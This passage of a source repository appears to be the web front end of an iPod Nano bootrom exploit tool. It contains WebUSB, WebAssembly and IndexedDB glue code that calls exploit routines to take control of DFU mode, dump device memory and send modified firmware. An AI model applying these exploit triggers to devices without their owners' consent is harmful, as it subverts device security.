    4. Switch the iPod into DFU mode by holding the home and power buttons. The iPod will reboot once (showing the Apple logo), then again (showing a black screen). Release the buttons when you see a device in DFU mode (“USB DFU Device”) appear on the list.
    5. Select the DFU device from the list and allow access to it.

    Note: Some USB-C to Lightning cables have been observed to not work with DFU mode, with the device not showing up over USB and immediately rebooting. If you're having issues, try a USB A to Lightning cable.

    `; return html`

    Let's go!

    ${this._hideInstructions ? html`` : instructions} ${dfu} ${this._inWTF ? wtf : html``} `; }, }); } } @customElement("nz-root") export class Root extends LitElement { static styles = [commonStyles, css` div.root { max-width: 40em; margin-left: auto; margin-right: auto; } div.footer { margin-top: 2em; font-size: 90%; font-style: italic; background-color: #f8f8f8; padding: 0.5em 2em 0.5em 2em; } `]; @state() private _show_disclaimer: boolean = true; private _usb: USB | null = null; render() { let inner = this._show_disclaimer ? html`` : html``; return html`
    ${inner}
    `; } } ================================================ FILE: web/src/edk2.ts ================================================ export interface Compression { compress(data: Uint8Array): Uint8Array; decompress(data: Uint8Array): Uint8Array; } interface Exports { malloc(size: number): number; free(size: number): number; TianoCompress(in_ptr: number, in_size: number, out_ptr: number, out_size: number): bigint; TianoDecompress(in_ptr: number, in_size: number, out_ptr: number, out_size: number, scratch_ptr: number, scratch_size: number): bigint; memory: WebAssembly.Memory; } export async function load(): Promise { const moduleMemory = new WebAssembly.Memory({initial: 512, maximum: 4096, shared: true}) const importedObject = { env: { __memory_base: 0, memory: moduleMemory, emscripten_notify_memory_growth: function(index: any) { // Do we need to do anything here? console.log("emscripten_notify_memory_growth", index); }, }, } const obj = await WebAssembly.instantiateStreaming(fetch("edk2.wasm"), importedObject); const wasm = obj.instance; const { malloc, free, TianoCompress, TianoDecompress, memory } = wasm.exports as any as Exports; return { compress: (input: Uint8Array) => { if (input.length == 0) { throw Error("cannot compress empty file"); } const in_ptr = malloc(input.length); const in_buf = new Uint8Array(memory.buffer, in_ptr, input.length); in_buf.set(input); const out_ptr = malloc(input.length); const out_size_ptr = malloc(4); let out_size_buf = new Uint32Array(memory.buffer, out_size_ptr, 1); out_size_buf[0] = input.length; let res = TianoCompress(in_ptr, input.length, out_ptr, out_size_ptr); if (res != BigInt(0)) { throw new Error("TianoCompress returned non-zero result" + res.toString()); } out_size_buf = new Uint32Array(memory.buffer, out_size_ptr, 1); let out_buf = new Uint8Array(memory.buffer, out_ptr, out_size_buf[0]); free(in_ptr); free(out_ptr); return out_buf; }, decompress: (input: Uint8Array) => { const in_ptr = malloc(input.length); const in_buf = new Uint8Array(memory.buffer, in_ptr, input.length); in_buf.set(input); const out_len = (new Uint32Array(input))[4]; const out_ptr = malloc(out_len); const scratch_len = 13393; const scratch_ptr = malloc(scratch_len); let res = TianoDecompress(in_ptr, input.length, out_ptr, out_len, scratch_ptr, scratch_len); if (res != BigInt(0)) { throw new Error("TianoDecompress returned non-zero result " + res.toString()); } let out_buf = new Uint8Array(memory.buffer, out_ptr, out_len); free(in_ptr); free(out_ptr); free(scratch_ptr); return out_buf }, } } ================================================ FILE: web/src/go.ts ================================================ import { Compression } from "./edk2.js"; // Kep in sync with pkg/cache/cache.go PayloadKind export enum PayloadKind { WTFUpstream = "wtf-upstream", WTFDecrypted = "wtf-decrypted", WTFDecryptedCache = "wtf-decrypted-cache", WTFDefanged = "wtf-defanged", RecoveryUpstream = "recovery-upstream", FirmwareUpstream = "firmware-upstream", BootloaderUpstream = "bootloader-upstream", BootloaderDecrypted = "bootloader-decrypted", BootloaderDecryptedCache = "bootloader-decrypted-cache", RetailOSUpstream = "retailos-upstream", RetailOSDecrypted = "retailos-decrypted", RetailOSCustomized = "retailos-customized", DiagsUpstream = "diags-upstream", DiagsDecrypted = "diags-decrypted", DiagsDecryptedCache = "diags-decrypted-cache", JingleXML = "jinglexml", } // Keep in sync with pkgs/devices/devices.go Kind export enum DeviceKind { Nano3 = "n3g", Nano4 = "n4g", Nano5 = "n5g", Nano6 = "n6g", Nano7 = "n7g", Nano7Late = "n7g-late", } // keep in sync with pkg/devices/devices.go InterfaceKind export enum InterfaceKind { DFU = "dfu", WTF = "wtf", Disk = "diskmode", } export interface DeviceDescription { vid: number, pid: number, updaterFamilyID: number, kind: DeviceKind, interfaceKind: InterfaceKind, } interface StringDescriptors { manufacturer: string, product: string, } export interface App { GetStringDescriptors(): Promise; GetDeviceDescription(): Promise; PrepareUSB(): Promise; HaxDFU(): Promise; DumpMem(offset: BigInt): Promise; PreparePayload(kind: PayloadKind, progress?: (done: number) => void): Promise; SendPayload(kind: PayloadKind, progress?: (done: number) => void): Promise; } export interface Exports { newApp(usb: USBDevice): Promise; setup(compression: Compression): Promise; } declare class Go { argv: string[]; env: { [envKey: string]: string }; exit: (code: number) => void; importObject: WebAssembly.Imports; exited: boolean; mem: DataView; run(instance: WebAssembly.Instance): Promise; } const go = new Go(); export async function load(): Promise { const obj = await WebAssembly.instantiateStreaming(fetch("wiwali.wasm"), go.importObject); const wasm = obj.instance; go.run(wasm); const exports = (window as any as {wiwali: Exports}).wiwali; return exports; } ================================================ FILE: web/tsconfig.json ================================================ { "compilerOptions": { "noEmit": true, "lib": ["es2020", "dom"], "strict": true, "experimentalDecorators": true, "useDefineForClassFields": false, } } ================================================ FILE: web/wiwali/README.md ================================================ wiwali ====== The wInd3x Wasm Library (or `wiwali` for short). This internal API is exposed to Typescript (see go.ts). It's not stable, so you shouldn't depend on it. ================================================ FILE: web/wiwali/main.go ================================================ // wiwali is a non-WASI (web-compatible) wasm 'binary' that sends window.wiwali // when loaded. This object carries all references to runtime object that Wiwali // needs. Garbage collection is currently unimplemented. // // See web/go.ts for actual bindings. package main import ( "fmt" "log/slog" "net/url" "strconv" "syscall/js" "github.com/freemyipod/wInd3x/pkg/app" "github.com/freemyipod/wInd3x/pkg/cache" "github.com/freemyipod/wInd3x/pkg/devices" "github.com/freemyipod/wInd3x/pkg/dfu" "github.com/freemyipod/wInd3x/pkg/efi/compression" "github.com/freemyipod/wInd3x/pkg/exploit" "github.com/freemyipod/wInd3x/pkg/exploit/dumpmem" "github.com/freemyipod/wInd3x/pkg/exploit/haxeddfu" ) // async wraps a Go function into a ES/TS function that returns a Promise. func async(f func(this js.Value, args []js.Value) (js.Value, error)) js.Func { return js.FuncOf(func(this js.Value, args []js.Value) any { return js.Global().Get("Promise").New(js.FuncOf(func(_ js.Value, pargs []js.Value) any { resolve := pargs[0] reject := pargs[1] go func() { v, err := f(this, args) if err != nil { reject.Invoke(js.Global().Get("Error").New(err.Error())) } else { resolve.Invoke(v) } }() return js.Null() })) }) } // await calls a ES/TS async function and blocks until it resolves or fails. func await(v js.Value) (js.Value, error) { okC := make(chan js.Value) errC := make(chan error) v.Call("then", js.FuncOf(func(this js.Value, args []js.Value) any { okC <- args[0] return nil })).Call("catch", js.FuncOf(func(this js.Value, args []js.Value) any { errC <- fmt.Errorf(args[0].Get("message").String()) return nil })) select { case ok := <-okC: return ok, nil case err := <-errC: return js.ValueOf(nil), err } } // findDeviceAndKind looks for a matching device given a vid and pid. func findDeviceAndKind(vid, pid int16) (*devices.Description, devices.InterfaceKind) { for _, desc := range devices.Descriptions { if desc.VID != vid { continue } for kind, dpid := range desc.PIDs { if dpid == pid { return &desc, kind } } } return nil, "" } func toUint8Array(b []byte) js.Value { arr := make([]any, len(b)) for i, v := range b { arr[i] = v } return js.Global().Get("Uint8Array").New(arr) } func fromUint8Array(v js.Value) ([]byte, error) { l := v.Length() res := make([]byte, l) l2 := js.CopyBytesToGo(res, v) if l2 != l { return nil, fmt.Errorf("copied %d bytes, wanted %d", l2, l) } return res, nil } // newApp builds a one-shot (ie. one-vid/pid) wInd3x representation of the device. func newApp(this js.Value, args []js.Value) (js.Value, error) { if len(args) != 1 { return js.Null(), fmt.Errorf("newApp must be called with exactly one argument") } usbDevice := args[0] vid := int16(usbDevice.Get("vendorId").Int()) pid := int16(usbDevice.Get("productId").Int()) dev, kind := findDeviceAndKind(vid, pid) if dev == nil { return js.Null(), fmt.Errorf("unknown kind of device") } a := app.App{ Usb: &usb{ usbDevice: usbDevice, }, InterfaceKind: kind, Desc: dev, Ep: exploit.ParametersForKind[dev.Kind], } return js.ValueOf(map[string]any{ "GetStringDescriptors": async(func(this js.Value, args []js.Value) (js.Value, error) { // HACK, we should be doing this better (by using device descriptor // indices into strings descriptors). var descs []string for i := 0; i < 3; i++ { desc, err := a.Usb.GetStringDescriptor(i) if err != nil { return js.Null(), fmt.Errorf("getting descriptor %d: %w", i, err) } descs = append(descs, desc) } return js.ValueOf(map[string]any{ "manufacturer": descs[1], "product": descs[2], }), nil }), "GetDeviceDescription": async(func(this js.Value, args []js.Value) (js.Value, error) { return js.ValueOf(map[string]any{ "vid": vid, "pid": pid, "updaterFamilyID": dev.UpdaterFamilyID, "kind": string(dev.Kind), "interfaceKind": string(kind), }), nil }), "PrepareUSB": async(func(this js.Value, args []js.Value) (js.Value, error) { err := a.PrepareUSB() return js.Null(), err }), "DumpMem": async(func(this js.Value, args []js.Value) (js.Value, error) { if len(args) != 1 { return js.Null(), fmt.Errorf("must be called with exactly one argument") } addrStr := js.Global().Get("BigInt").Get("prototype").Get("toString").Call("call", args[0]).String() addr, err := strconv.ParseUint(addrStr, 10, 32) if err != nil { return js.Null(), fmt.Errorf("given number is not a valid 32-bit BigInt") } block, err := dumpmem.Trigger(a.Usb, a.Ep, uint32(addr)) if err != nil { return js.Null(), err } return toUint8Array(block), nil }), "HaxDFU": async(func(this js.Value, args []js.Value) (js.Value, error) { err := haxeddfu.Trigger(a.Usb, a.Ep, false) return js.Null(), err }), "PreparePayload": async(func(this js.Value, args []js.Value) (js.Value, error) { kind := cache.PayloadKind(args[0].String()) var getOpts []cache.GetOption if len(args) > 1 { progress := args[1] getOpts = append(getOpts, cache.GetOption{ Progress: func(f float32) { progress.Invoke(js.ValueOf(f)) }, }) } slog.Info("Getting payload...") _, err := cache.Get(&a, kind, getOpts...) if err != nil { return js.Null(), fmt.Errorf("getting payload %q failed: %w", kind, err) } return js.Null(), nil }), "SendPayload": async(func(this js.Value, args []js.Value) (js.Value, error) { kind := cache.PayloadKind(args[0].String()) var sendOpts []dfu.SendOption if len(args) > 1 { progress := args[1] sendOpts = append(sendOpts, dfu.SendOption{ Progress: func(f float32) { progress.Invoke(js.ValueOf(f)) }, }) } slog.Info("Getting payload...") pl, err := cache.Get(&a, kind) if err != nil { return js.Null(), fmt.Errorf("getting payload %q failed: %w", kind, err) } slog.Info("Sending payload...") if err := dfu.SendImage(a.Usb, pl, a.Desc.Kind.DFUVersion(), sendOpts...); err != nil { return js.Null(), fmt.Errorf("failed to send image: %w", err) } return js.Null(), nil }), }), nil } // setup convinces the rest of the wInd3x codebase to work by poking a bunch of // global variables. func setup(this js.Value, args []js.Value) (js.Value, error) { compress := args[0].Get("compress") decompress := args[0].Get("decompress") compression.Compression.CompressFn = func(in []byte) ([]byte, error) { return fromUint8Array(compress.Invoke(toUint8Array(in))) } compression.Compression.DecompressFn = func(in []byte) ([]byte, error) { return fromUint8Array(decompress.Invoke(toUint8Array(in))) } store, err := newIndexedDBFS() if err != nil { return js.Null(), fmt.Errorf("setting up indexeddb: %w", err) } cache.Store = store cache.ReverseProxy = &url.URL{ Scheme: "https", Host: "nugget.zone", } return js.Null(), nil } func main() { js.Global().Set("wiwali", js.ValueOf(map[string]any{ "newApp": async(newApp), "setup": async(setup), })) slog.Info("wiwali loaded.") select {} } ================================================ FILE: web/wiwali/store.go ================================================ package main import ( "fmt" "log/slog" "syscall/js" ) // indexedDBFS is an implementation of pkg/cache.FS that's backed in IndexedDB. // // IndexedDB is a very oldschool API (Events!), so it's a bit of a pain to use, // and thus this code kinda sucks. Sorry. type indexedDBFS struct { db js.Value } func newIndexedDBFS() (*indexedDBFS, error) { dbC := make(chan js.Value, 1) errC := make(chan error, 1) req := js.Global().Get("indexedDB").Call("open", "cache", 3) req.Set("onerror", js.FuncOf(func(this js.Value, args []js.Value) any { errC <- fmt.Errorf("could not open indexedDB") return js.Null() })) req.Set("onsuccess", js.FuncOf(func(this js.Value, args []js.Value) any { db := args[0].Get("target").Get("result") dbC <- db return js.Null() })) req.Set("onupgradeneeded", js.FuncOf(func(this js.Value, args []js.Value) any { slog.Info("Upgrading IndexedDB...") db := args[0].Get("target").Get("result") db.Call("createObjectStore", "files", map[string]any{ "keyPath": "path", }) return js.Null() })) select { case err := <-errC: slog.Error("IndexedDB for cache could not be initialized.", "err", err) return nil, err case db := <-dbC: slog.Info("IndexedDB for cache ready.") return &indexedDBFS{ db: db, }, nil } } func (l *indexedDBFS) ReadFile(p string) ([]byte, error) { slog.Info("ReadFile", "path", p) objStore := l.db.Call("transaction", "files", "readonly").Call("objectStore", "files") okC := make(chan []byte, 1) errC := make(chan error, 1) req := objStore.Call("get", p) req.Set("onsuccess", js.FuncOf(func(this js.Value, args []js.Value) any { slog.Info("ReadFile success", "path", p) result := req.Get("result") data_ := result.Get("data") buffer := data_.Get("buffer") array := js.Global().Get("Uint8Array").New(buffer) data, err := fromUint8Array(array) slog.Info("ReadFile decoded", "path", p) if err != nil { errC <- err } else { okC <- data } return js.Null() })) req.Set("onerror", js.FuncOf(func(this js.Value, args []js.Value) any { slog.Info("ReadFile error", "path", p) errC <- fmt.Errorf("failed to store") return js.Null() })) slog.Info("ReadFile wait on select...", "path", p) select { case err := <-errC: slog.Info("ReadFile unblocked on error", "path", p) return nil, err case data := <-okC: slog.Info("ReadFile unblocked on success", "path", p) return data, nil } } func (l *indexedDBFS) WriteFile(p string, data []byte) error { slog.Info("WriteFile", "path", p) objStore := l.db.Call("transaction", "files", "readwrite").Call("objectStore", "files") req := objStore.Call("put", map[string]any{ "path": p, "data": toUint8Array(data), }) okC := make(chan struct{}, 1) errC := make(chan error, 1) req.Set("onsuccess", js.FuncOf(func(this js.Value, args []js.Value) any { slog.Info("success", "path", p) okC <- struct{}{} return js.Null() })) req.Set("onerror", js.FuncOf(func(this js.Value, args []js.Value) any { slog.Info("error", "path", p) errC <- fmt.Errorf("failed to store") return js.Null() })) select { case err := <-errC: return err case _ = <-okC: return nil } } func (l *indexedDBFS) Remove(p string) error { return fmt.Errorf("Remove unimplemented") } func (l *indexedDBFS) Exists(p string) (bool, error) { slog.Info("Exists", "path", p) objStore := l.db.Call("transaction", "files", "readonly").Call("objectStore", "files") req := objStore.Call("get", p) okC := make(chan []byte, 1) errC := make(chan error, 1) req.Set("onsuccess", js.FuncOf(func(this js.Value, args []js.Value) any { slog.Info("Exists success", "path", p) result := req.Get("result") if result.IsUndefined() { errC <- fmt.Errorf("no file") return js.Null() } data_ := result.Get("data") buffer := data_.Get("buffer") array := js.Global().Get("Uint8Array").New(buffer) data, err := fromUint8Array(array) if err != nil { errC <- err } else { okC <- data } return js.Null() })) req.Set("onerror", js.FuncOf(func(this js.Value, args []js.Value) any { slog.Info("Exists error", "path", p) slog.Info("error", "path", p) errC <- fmt.Errorf("failed to store") return js.Null() })) select { case <-errC: slog.Info("Exists unblocked on error", "path", p) return false, nil case <-okC: slog.Info("Exists unblocked on success", "path", p) return true, nil } } ================================================ FILE: web/wiwali/usb.go ================================================ package main import ( "encoding/binary" "fmt" "log/slog" "syscall/js" "time" "unicode/utf16" "github.com/freemyipod/wInd3x/pkg/devices" ) // usb implements pkg/devices.USB backed in WebUSB, at least as much as // possible. type usb struct { usbDevice js.Value } func (u *usb) UseDefaultInterface() error { if _, err := await(u.usbDevice.Call("open")); err != nil { return fmt.Errorf("open: %w", err) } if _, err := await(u.usbDevice.Call("claimInterface", 0)); err != nil { return fmt.Errorf("claimInterface: %w", err) } if _, err := await(u.usbDevice.Call("selectAlternateInterface", 0, 0)); err != nil { return fmt.Errorf("selectAlternateInterface: %w", err) } slog.Info("Default interface set up.") return nil } func (u *usb) UseDiskInterface() (devices.UsbMsEndpoints, error) { return devices.UsbMsEndpoints{}, fmt.Errorf("unimplemented") } func (u *usb) Control(rType, request uint8, val, idx uint16, data []byte) (int, error) { toDevice := rType&0x80 == 0 requestType := map[uint8]string{ 0: "standard", 1: "class", 2: "vendor", 3: "reserved", }[(rType>>5)&0b11] recipient := map[uint8]string{ 0: "device", 1: "interface", 2: "endpoint", 3: "other", }[(rType & 0b11111)] setup := map[string]any{ "requestType": requestType, "recipient": recipient, "request": int(request), "value": int(val), "index": int(idx), } if toDevice { slog.Debug("Control OUT", "rType", rType, "request", request, "val", val, "idx", idx, "len", len(data)) dataUint8Arr := toUint8Array(data) res, err := await(u.usbDevice.Call("controlTransferOut", setup, dataUint8Arr)) if err != nil { return 0, err } status := res.Get("status").String() if status == "stall" { return 0, fmt.Errorf("stall") } else if status == "ok" { return res.Get("bytesWritten").Int(), nil } else { return 0, fmt.Errorf("invalid status: %q", status) } } else { slog.Debug("Control IN", "rType", rType, "request", request, "val", val, "idx", idx, "length", len(data)) res, err := await(u.usbDevice.Call("controlTransferIn", setup, len(data))) if err != nil { return 0, err } status := res.Get("status").String() if status == "stall" { return 0, fmt.Errorf("stall") } else if status == "babble" { return 0, fmt.Errorf("babble") } else if status != "ok" { return 0, fmt.Errorf("invalid status: %q", status) } dataView := res.Get("data") bl := dataView.Get("byteLength").Int() for i := 0; i < bl; i++ { v := dataView.Call("getUint8", i).Int() data[i] = byte(v) } return bl, nil } } func (u *usb) SetControlTimeout(time.Duration) error { // TODO(q3k): don't call this for s5late-based sploits and throw an error here. return nil } func (u *usb) GetStringDescriptor(descIndex int) (string, error) { res, err := await(u.usbDevice.Call("controlTransferIn", map[string]any{ "requestType": "standard", "recipient": "device", "request": 0x06, "value": 0x0300 | descIndex, "index": 0x0000, }, 255)) if err != nil { return "", fmt.Errorf("when getting descriptor: %w", err) } buffer := res.Get("data").Get("buffer") array := js.Global().Get("Uint8Array").New(buffer) data, err := fromUint8Array(array) if err != nil { return "", fmt.Errorf("could not load returned descriptor: %w", err) } if len(data) < 2 { return "", fmt.Errorf("returned descriptor is too short") } if len(data) != int(data[0]) || int(data[1]) != 3 { return "", fmt.Errorf("returned descriptor is corrupt") } arr := make([]uint16, len(data[2:])/2) binary.Decode(data[2:], binary.LittleEndian, arr) runes := utf16.Decode(arr) return string(runes), nil } func (u *usb) Close() error { return fmt.Errorf("Close unimplemented") }